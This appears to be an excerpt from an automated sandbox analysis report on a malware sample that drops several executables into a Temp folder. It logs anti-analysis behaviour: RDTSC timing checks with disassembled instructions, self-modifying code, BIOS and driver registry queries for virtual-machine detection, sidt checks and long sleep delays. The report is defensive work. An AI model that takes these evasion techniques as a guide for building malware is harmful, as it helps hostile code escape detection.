Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C604C8 second address: 4C60504 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov bx, 6944h 0x00000007 mov bl, D5h 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c add eax, ecx 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 pushfd 0x00000012 jmp 00007F08C0CB4531h 0x00000017 xor cx, 8936h 0x0000001c jmp 00007F08C0CB4531h 0x00000021 popfd 0x00000022 push eax 0x00000023 push edx 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C60504 second address: 4C60509 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C60509 second address: 4C60527 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 movsx edx, si 0x00000006 pushad 0x00000007 popad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov ecx, dword ptr [ebp+08h] 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007F08C0CB452Ch 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C60527 second address: 4C60536 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F08C0C9195Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C60536 second address: 4C60566 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 movsx edi, si 0x00000006 jmp 00007F08C0CB4530h 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e test ecx, ecx 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 jmp 00007F08C0CB452Dh 0x00000018 mov cx, 11D7h 0x0000001c popad 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C50207 second address: 4C50223 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F08C0C91968h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C50223 second address: 4C50227 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C50227 second address: 4C50239 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov ebp, esp 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d pushad 0x0000000e popad 0x0000000f mov edx, esi 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C50239 second address: 4C502E3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov dh, DDh 0x00000005 call 00007F08C0CB452Ah 0x0000000a pop eax 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e sub esp, 2Ch 0x00000011 pushad 0x00000012 pushad 0x00000013 mov ebx, 3D686900h 0x00000018 jmp 00007F08C0CB4539h 0x0000001d popad 0x0000001e popad 0x0000001f push esp 0x00000020 pushad 0x00000021 pushfd 0x00000022 jmp 00007F08C0CB4538h 0x00000027 adc si, B9A8h 0x0000002c jmp 00007F08C0CB452Bh 0x00000031 popfd 0x00000032 jmp 00007F08C0CB4538h 0x00000037 popad 0x00000038 mov dword ptr [esp], ebx 0x0000003b jmp 00007F08C0CB4530h 0x00000040 xchg eax, edi 0x00000041 push eax 0x00000042 push edx 0x00000043 jmp 00007F08C0CB4537h 0x00000048 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C502E3 second address: 4C502E9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C502E9 second address: 4C502ED instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C502ED second address: 4C502F1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C502F1 second address: 4C50303 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c pushad 0x0000000d popad 0x0000000e movsx ebx, cx 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C50303 second address: 4C50309 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C50309 second address: 4C5030D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C5030D second address: 4C5031F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, edi 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c mov di, cx 0x0000000f mov cl, 71h 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C50394 second address: 4C50410 instructions: 0x00000000 rdtsc 0x00000002 mov edx, 638ADE06h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a test al, al 0x0000000c jmp 00007F08C0CB452Dh 0x00000011 je 00007F08C0CB470Bh 0x00000017 pushad 0x00000018 pushad 0x00000019 pushfd 0x0000001a jmp 00007F08C0CB452Ah 0x0000001f xor si, 8CA8h 0x00000024 jmp 00007F08C0CB452Bh 0x00000029 popfd 0x0000002a mov bx, cx 0x0000002d popad 0x0000002e mov ax, 0EBBh 0x00000032 popad 0x00000033 lea ecx, dword ptr [ebp-14h] 0x00000036 pushad 0x00000037 pushfd 0x00000038 jmp 00007F08C0CB452Ch 0x0000003d sub ah, 00000008h 0x00000040 jmp 00007F08C0CB452Bh 0x00000045 popfd 0x00000046 popad 0x00000047 mov dword ptr [ebp-14h], edi 0x0000004a push eax 0x0000004b push edx 0x0000004c jmp 00007F08C0CB4530h 0x00000051 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C50410 second address: 4C50416 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C50416 second address: 4C5041A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C50438 second address: 4C5043E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C5043E second address: 4C50444 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C50444 second address: 4C50448 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C50448 second address: 4C5044C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C504E7 second address: 4C50550 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov si, di 0x00000006 call 00007F08C0C91963h 0x0000000b pop eax 0x0000000c popad 0x0000000d pop edx 0x0000000e pop eax 0x0000000f test eax, eax 0x00000011 jmp 00007F08C0C9195Fh 0x00000016 jg 00007F093299F8CDh 0x0000001c jmp 00007F08C0C91966h 0x00000021 js 00007F08C0C919B7h 0x00000027 jmp 00007F08C0C91960h 0x0000002c cmp dword ptr [ebp-14h], edi 0x0000002f push eax 0x00000030 push edx 0x00000031 push eax 0x00000032 push edx 0x00000033 push eax 0x00000034 push edx 0x00000035 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C50550 second address: 4C50554 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C50554 second address: 4C50571 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F08C0C91969h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C50571 second address: 4C50577 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C50577 second address: 4C5057B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C5057B second address: 4C505C2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jne 00007F09329C243Eh 0x0000000e jmp 00007F08C0CB452Fh 0x00000013 mov ebx, dword ptr [ebp+08h] 0x00000016 jmp 00007F08C0CB4536h 0x0000001b lea eax, dword ptr [ebp-2Ch] 0x0000001e push eax 0x0000001f push edx 0x00000020 push eax 0x00000021 push edx 0x00000022 jmp 00007F08C0CB452Ah 0x00000027 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C505C2 second address: 4C505C8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C505C8 second address: 4C505DB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 mov edx, eax 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a xchg eax, esi 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e movsx edi, cx 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C505DB second address: 4C505E0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C505E0 second address: 4C505F8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F08C0CB4534h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C505F8 second address: 4C505FC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C505FC second address: 4C50637 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 jmp 00007F08C0CB452Eh 0x0000000e xchg eax, esi 0x0000000f jmp 00007F08C0CB4530h 0x00000014 nop 0x00000015 push eax 0x00000016 push edx 0x00000017 pushad 0x00000018 jmp 00007F08C0CB452Dh 0x0000001d push eax 0x0000001e push edx 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C50637 second address: 4C5063C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C5063C second address: 4C5066E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F08C0CB4537h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F08C0CB4534h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C5066E second address: 4C5069F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F08C0C9195Ch 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b nop 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f pushfd 0x00000010 jmp 00007F08C0C9195Dh 0x00000015 jmp 00007F08C0C9195Bh 0x0000001a popfd 0x0000001b popad 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C5069F second address: 4C506B6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F08C0CB4532h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C506B6 second address: 4C506D1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 xchg eax, ebx 0x00000008 jmp 00007F08C0C9195Eh 0x0000000d push eax 0x0000000e pushad 0x0000000f pushad 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C50748 second address: 4C5074E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C5074E second address: 4C50752 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C50752 second address: 4C50756 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C50756 second address: 4C5002E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov esi, eax 0x0000000a jmp 00007F08C0C91960h 0x0000000f test esi, esi 0x00000011 pushad 0x00000012 mov dx, cx 0x00000015 push esi 0x00000016 pushfd 0x00000017 jmp 00007F08C0C91969h 0x0000001c or ecx, 117EC716h 0x00000022 jmp 00007F08C0C91961h 0x00000027 popfd 0x00000028 pop ecx 0x00000029 popad 0x0000002a je 00007F093299F800h 0x00000030 xor eax, eax 0x00000032 jmp 00007F08C0C6B08Ah 0x00000037 pop esi 0x00000038 pop edi 0x00000039 pop ebx 0x0000003a leave 0x0000003b retn 0004h 0x0000003e nop 0x0000003f mov edi, eax 0x00000041 cmp edi, 00000000h 0x00000044 setne al 0x00000047 xor ebx, ebx 0x00000049 test al, 01h 0x0000004b jne 00007F08C0C91957h 0x0000004d jmp 00007F08C0C91A49h 0x00000052 call 00007F08C4F390D0h 0x00000057 mov edi, edi 0x00000059 push eax 0x0000005a push edx 0x0000005b pushad 0x0000005c pushfd 0x0000005d jmp 00007F08C0C91969h 0x00000062 jmp 00007F08C0C9195Bh 0x00000067 popfd 0x00000068 pushad 0x00000069 popad 0x0000006a popad 0x0000006b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C5002E second address: 4C50034 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C50034 second address: 4C50061 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F08C0C91961h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebp 0x0000000c jmp 00007F08C0C9195Eh 0x00000011 push eax 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C50061 second address: 4C50065 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C50065 second address: 4C50081 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F08C0C91968h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C50081 second address: 4C500D9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F08C0CB452Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a jmp 00007F08C0CB4536h 0x0000000f mov ebp, esp 0x00000011 jmp 00007F08C0CB4530h 0x00000016 xchg eax, ecx 0x00000017 pushad 0x00000018 push eax 0x00000019 push edx 0x0000001a pushfd 0x0000001b jmp 00007F08C0CB452Ch 0x00000020 adc ch, 00000028h 0x00000023 jmp 00007F08C0CB452Bh 0x00000028 popfd 0x00000029 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C500D9 second address: 4C500E6 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 mov eax, 41E125B1h 0x0000000d rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 9D3DF3 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 9D3E96 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 9D12C6 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: B8FB8B instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: BF064A instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\OLR88CERN7VQFRQ38J.exe	Special instruction interceptor: First address: 19EB0E instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\OLR88CERN7VQFRQ38J.exe	Special instruction interceptor: First address: 19EBF7 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\OLR88CERN7VQFRQ38J.exe	Special instruction interceptor: First address: 3490EA instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\OLR88CERN7VQFRQ38J.exe	Special instruction interceptor: First address: 19C3BA instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\OLR88CERN7VQFRQ38J.exe	Special instruction interceptor: First address: 35B54D instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\OLR88CERN7VQFRQ38J.exe	Special instruction interceptor: First address: 3D4378 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\ENORVNMU067PBMHUGECCERYC06W3ZY.exe	Special instruction interceptor: First address: 731A55 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\ENORVNMU067PBMHUGECCERYC06W3ZY.exe	Special instruction interceptor: First address: 8D4E36 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\ENORVNMU067PBMHUGECCERYC06W3ZY.exe	Special instruction interceptor: First address: 72F5E2 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\ENORVNMU067PBMHUGECCERYC06W3ZY.exe	Special instruction interceptor: First address: 901F69 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 19EB0E instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 19EBF7 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 3490EA instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 19C3BA instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 35B54D instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\ENORVNMU067PBMHUGECCERYC06W3ZY.exe	Special instruction interceptor: First address: 961C3A instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\BF3BS0M5707K28RGW9.exe	Special instruction interceptor: First address: A3DA15 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\BF3BS0M5707K28RGW9.exe	Special instruction interceptor: First address: BE662F instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\BF3BS0M5707K28RGW9.exe	Special instruction interceptor: First address: A3B5BE instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\BF3BS0M5707K28RGW9.exe	Special instruction interceptor: First address: BEED09 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 3D4378 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\BF3BS0M5707K28RGW9.exe	Special instruction interceptor: First address: C739A9 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1000992001\aae25c676b.exe	Special instruction interceptor: First address: E93DF3 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1000992001\aae25c676b.exe	Special instruction interceptor: First address: E93E96 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1000992001\aae25c676b.exe	Special instruction interceptor: First address: E912C6 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1000992001\aae25c676b.exe	Special instruction interceptor: First address: 104FB8B instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1000992001\aae25c676b.exe	Special instruction interceptor: First address: 10B064A instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1000993001\7d61336cf8.exe	Special instruction interceptor: First address: C81A55 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1000993001\7d61336cf8.exe	Special instruction interceptor: First address: E24E36 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1000993001\7d61336cf8.exe	Special instruction interceptor: First address: C7F5E2 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1000993001\7d61336cf8.exe	Special instruction interceptor: First address: E51F69 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1000993001\7d61336cf8.exe	Special instruction interceptor: First address: EB1C3A instructions caused by: Self-modifying code

Source: C:\Users\user\AppData\Local\Temp\BF3BS0M5707K28RGW9.exe	Memory allocated: 50F0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BF3BS0M5707K28RGW9.exe	Memory allocated: 5360000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BF3BS0M5707K28RGW9.exe	Memory allocated: 7360000 memory reserve \| memory write watch	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\1000993001\7d61336cf8.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc
Source: C:\Users\user\AppData\Local\Temp\1000993001\7d61336cf8.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion
Source: C:\Users\user\AppData\Local\Temp\1000993001\7d61336cf8.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion

Source: C:\Users\user\AppData\Local\Temp\OLR88CERN7VQFRQ38J.exe

Code function: 3_2_04A00E3E rdtsc

3_2_04A00E3E

Source: C:\Users\user\AppData\Local\Temp\BF3BS0M5707K28RGW9.exe

Code function: 6_2_00BD3904 sidt fword ptr [esp-02h]

6_2_00BD3904

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 180000			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BF3BS0M5707K28RGW9.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window / User API: threadDelayed 2181	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window / User API: threadDelayed 369	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window / User API: threadDelayed 890	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window / User API: threadDelayed 819	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window / User API: threadDelayed 1920	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000994001\d7c50276ff.exe	Window / User API: threadDelayed 648

Source: C:\Users\user\AppData\Local\Temp\1000994001\d7c50276ff.exe

API coverage: 3.5 %

Source: C:\Users\user\Desktop\file.exe TID: 7116	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 5972	Thread sleep time: -58029s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 5236	Thread sleep count: 2181 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 5236	Thread sleep time: -4364181s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 3184	Thread sleep count: 369 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 3184	Thread sleep time: -11070000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 6036	Thread sleep count: 890 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 6036	Thread sleep time: -1780890s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 340	Thread sleep time: -540000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 4236	Thread sleep count: 819 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 4236	Thread sleep time: -1638819s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 5532	Thread sleep count: 1920 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 5532	Thread sleep time: -3841920s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BF3BS0M5707K28RGW9.exe TID: 7064	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000992001\aae25c676b.exe TID: 5708	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000992001\aae25c676b.exe TID: 280	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000992001\aae25c676b.exe TID: 5576	Thread sleep time: -30000s >= -30000s

Source: C:\Users\user\Desktop\file.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Users\user\AppData\Local\Temp\OLR88CERN7VQFRQ38J.exe

File Volume queried: C:\ FullSizeInformation

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\1000994001\d7c50276ff.exe	Code function: 12_2_00FCDBBE lstrlenW,GetFileAttributesW,FindFirstFileW,FindClose,	12_2_00FCDBBE
